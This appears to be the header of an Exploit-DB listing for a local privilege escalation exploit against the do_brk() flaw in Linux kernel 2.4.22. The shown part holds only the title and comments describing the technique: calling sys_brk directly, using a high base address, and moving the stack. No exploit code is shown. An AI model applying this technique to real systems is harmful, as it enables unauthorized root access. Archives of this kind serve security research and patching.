Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (1)

EDB-ID:

;
; This exploit uses sys_brk directly to expand his break and doesn't rely
; on the ELF loader to do it.
;
; To bypass a check in sys_brk against available memory, we use a high
; virtual address as base address
;
; In most case (let's say when no PaX w/ ASLR :) we have to move the stack
; so that we can expand our break
